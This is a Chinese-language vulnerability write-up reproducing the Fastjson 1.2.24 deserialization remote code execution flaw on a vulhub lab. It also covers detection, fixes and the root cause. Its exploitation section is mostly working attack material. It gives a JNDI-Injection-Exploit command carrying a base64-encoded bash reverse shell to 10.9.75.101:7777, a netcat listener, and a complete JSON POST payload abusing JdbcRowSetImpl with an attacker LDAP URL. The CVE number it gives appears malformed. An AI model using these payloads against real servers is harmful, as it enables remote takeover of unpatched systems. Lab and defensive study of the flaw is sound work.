【漏洞库】Fastjson_1.2.24_rce

文章目录

    • 漏洞描述
    • 漏洞编号
    • 漏洞评级
    • 影响版本
    • 漏洞复现
      • - 利用工具
      • - 漏洞环境
      • - 漏洞扫描
      • - 漏洞验证
      • - 深度利用
      • - GetShell
      • - EXP 编写
    • 漏洞挖掘
      • - 指纹信息
    • 修复建议
      • - 漏洞修复
    • 漏洞原理

漏洞描述

Fastjson 存在反序列化远程代码执行漏洞,当应用或系统使用 Fastjson 对由用户可控的 JSON 字符串数据进行解析时,将可能导致远程代码执行的危害。

此漏洞为 17 年 Fastjson 1.2.24 版本反序列化漏洞的延伸利用,且无需依赖 autotype 的开启,这意味着默认配置下的 Fastjson 即会受到漏洞影响。

fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。

漏洞编号

CVE-2017-183494

漏洞评级

严重

影响版本

Fastjson 1.2.24 及之前的版本

漏洞复现

- 利用工具

链接:https://pan.baidu.com/s/1KEl1Z9Z3hWXKtENLxSE1wg?pwd=yuan 

- 漏洞环境

vulhub的靶场环境:vulhub/fastjson/1.2.24-rce

运行测试环境:

docker compose up -d

环境运行后,访问http://your-ip:8090即可看到JSON格式的输出:

image-20230908172805694

- 漏洞扫描

手工主动测试,利用非法json格式来尝试获取回显:

如图我们可以看到,服务端返回报错内容中包含fastjson。

- 漏洞验证

借助DNSLog,让目标服务器访问,查看回显

image-20230908172442160

发现有回显,说明存在漏洞

image-20230908172408509

- 深度利用

使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 工具开启JNDI服务:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjEwMS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}" -A "10.9.75.101"

以下命令的解释:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjEwMS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}

这是一个在bash shell中执行的命令,它涉及到了bash、echo、base64和管道操作符。首先,{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjEwMS83Nzc3IDA+JjE=}部分将字符串YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjEwMS83Nzc3IDA+JjE=作为参数传给echo命令,然后输出。接着,输出被传递给base64 -d进行解码,最后解码的结果再传递给bash -i进行执行。其中,{bash,-i}部分表示使用交互模式运行bash

其中的base64编码是通过这个网站进行编码的:https://ares-x.com/tools/runtime-exec/

编码过程如图:

image-20230908173611333

执行开启服务的命令之后,如图所示,表示已经开启了不同java版本的rmi服务与ldap服务:

image-20230908173808090

- GetShell

kali开启监听:

nc -lvvp 7777

发送请求包:

POST / HTTP/1.1
Host: 10.9.75.101:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 161{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://10.9.75.101:1389/zbcmsg","autoCommit":true}
}

image-20230908182322184

发送之后,可以看到kali已经获得反弹Shell

image-20230908182300176

- EXP 编写

这里直接使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar-C 参数指定EXP(这里的EXP使用反弹shell),不过这个EXP需要通过base64编码:

bash -i >& /dev/tcp/10.9.75.101/7777 0>&1

通过网站在线编码:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjEwMS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}

其中的base64编码是通过这个网站进行编码的:https://ares-x.com/tools/runtime-exec/

编码过程如图:

image-20230908173611333

将以上编码结果交给 -C参数,再使用 -A参数指定JNDI服务所处的服务器IP地址,执行jar包之后就会生成EXP并且将EXP放置JNDI服务中。

漏洞挖掘

  1. 找到发送JSON序列化数据的接口

  2. 判断是否使用fastjson,利用非法json格式来尝试获取回显:

    如图我们可以看到,服务端返回报错内容中包含fastjson。

  3. 通过BP插件检测该fastjson版本是否存在漏洞

    https://github.com/zilong3033/fastjsonScan
    

    下载插件导入BP

    抓包发送到插件进行检测:

    image-20230908171801509

    如下检测结果:存在漏洞

    image-20230908171700319

- 指纹信息

通过异常回显判断是否使用fastjson

修复建议

- 漏洞修复

  1. 升级Fastjson到最新版

  2. 使用安全产品过滤非法内容

    比如请求包中如果出现了JdbcRowSetImpl,就可以把他拦住。
    
  3. 更换其它序列化工具 Jackson/Gson

漏洞原理

不同版本的fastjson其实就是对一些输入的数据进行了校验等操作,绕过校验之后底层的利用链还是一样的。以下是fastjson反序列化漏洞的本质:

  1. 由于将JSON数据进行反序列化的时候会自动调用方法中的 get/set/is方法。

  2. 所以如果有方法在自动调用get/set/is方法的时候能访问远程资源,那么就可以借助这个方法完成利用。

  3. 很巧的是,JDK8中恰好有个JdbcRowSetlmpl类,里面就有 set方法 setAutoCommit,这个方法里面调用了connect方法,connect方法里面又具有JNDI的lookup方法,lookup方法里面传的恰好又是get方法,所以我们可以编写一个payload,利用@type指定要序列化的类,然后指定一些要反序列化的属性,即可完成利用链,接下来就看利用链中的源码:

  4. 利用JdbcRowSetlmpl类中的方法setAutoCommit()

    image-20230716150420480

  5. 进入connect方法:

    image-20230716150603925

    我们可以看到connect方法中具有JNDI的lookup方法,lookup是JNDI用于查找资源的方法,里面传的参数是dataSourceName,所以我们可以在payload的json字符串中传入这个参数dataSourceName,并且指定他的 值为我们的RMI服务或者其他服务,lookup就会到我们指定的服务中下载恶意代码并执行。

    为什么下载我们的EXP后会自动执行呢?

    因为我们的exp具有静态代码块或者构造方法,当程序创建实例的时候,就会自动触发构造方法或者静态代码块的内容。

    如下图中的NamingManager类,其中利用反射创建实例,然后就直接触发恶意代码中的静态代码块内容,从而让我们利用。

    image-20230715133800679

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/102691.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Maven中导入jQuery,前端页面中引用jQuery

第一步pom文件中,配置maven坐标。 第二步,在前端页面中引用jQuery 注:该前端页面需要在web根目录即webapp目录下。可认为在maven中导入jQuery后,jquery.min.js文件放在目录webapp/webjars/jquery/3.3.1下。

9.1.tensorRT高级(4)封装系列-自动驾驶案例项目self-driving-道路分割分析

目录 前言1. 道路分割总结 前言 杜老师推出的 tensorRT从零起步高性能部署 课程,之前有看过一遍,但是没有做笔记,很多东西也忘了。这次重新撸一遍,顺便记记笔记。 本次课程学习 tensorRT 高级-自动驾驶案例项目self-driving-道路分…

改进深度学习网络的几个思路

由于要优化网络,老师给提供的几个思路: 个人学习后的几个认知: 1.联级特征融合模块 主要用于残差网络最后的残差块融合上 其中 R5 是经过 Res5 通过 33 的卷积获得的特征图,该特征图保持空间分辨率不变,并将通道的数…

【2023高教社杯】C题 蔬菜类商品的自动定价与补货决策 问题分析、数学模型及python代码实现

【2023高教社杯】C题 蔬菜类商品的自动定价与补货决策 1 题目 C题蔬菜类商品的自动定价与补货决策 在生鲜商超中,一般蔬菜类商品的保鲜期都比较短,且品相随销售时间的增加而变差, 大部分品种如当日未售出,隔日就无法再售。因此&…

ubuntu下安装vscode代码编辑器

1、安装gcc(安装前准备工作) ubuntu下安装gcc报错: sudo apt get install gcc 正在等待缓存锁:无法获得锁 /var/lib/dpkg/lock-frontend。锁正由进程 6809(unattended-upgr)持有 方式1:没有…

判断一个点是否在一个多边形内部

1 原理 如下图所示, 四边形ABCD, P在四边形内部,Q在四边形外部。 通过观察可以发现, 当点在四边形内部时, 如果按顺时针方向的话, 点P在四条边AB, BC, CD, DA的右侧。 当然如果按逆时针的话, 点…

为什么客户跟踪对客户成功很重要?如何正确做到这一点?

如果您想以客户为中心,了解您的客户就非常重要。您可以利用客户沟通管理平台,例如SaleSmartly(SS客服)查看各种指标来了解客户对您的实际体验以及他们对您的期望。您需要长时间跟踪它们,注意它们的变化并找出原因&…

vue-elementPlus自动按需导入和主题定制

elementPlus自动按需导入 装包 -> 配置 1. 装包(主包和两个插件包) $ npm install element-plus --save npm install -D unplugin-vue-components unplugin-auto-import 2. 配置 在vite.config.js文件中配置,配置完重启(n…

[国产MCU]-W801开发实例-MQTT客户端通信

MQTT客户端通信 文章目录 MQTT客户端通信1、MQTT介绍2、W801的MQTT客户端相关API介绍3、代码实现本文将详细介绍如何在W801中使用MQTT协议通信。 1、MQTT介绍 MQTT 被称为消息队列遥测传输协议。它是一种轻量级消息传递协议,可通过简单的通信机制帮助资源受限的网络客户端。 …

【笔试强训选择题】Day36.习题(错题)解析

作者简介:大家好,我是未央; 博客首页:未央.303 系列专栏:笔试强训选择题 每日一句:人的一生,可以有所作为的时机只有一次,那就是现在!! 文章目录 前言一、Day…

【每日运维】RockyLinux8.6升级OpenSSH9.4p1

为什么需要升级openssh呢,因为很多项目进行漏扫结果都会涉及到这个服务器核心组件,一想到以前升级openssh带来的各种依赖性问题就头疼,不管是什么发行版,升级这个东西真的很烦,这次发现可能还会有好一点的通用一点的升…

GUIslice Builder 安装及使用

GUIslice Builder是一个可视化UI设计工具,可以简化GUIslice的UI设计流程。下面是GUIslice Builder的安装和使用步骤: 首先,下载GUIslice Builder并解压缩文件。 然后,进入解压后的文件夹,并运行GUIsliceBuilder.exe。…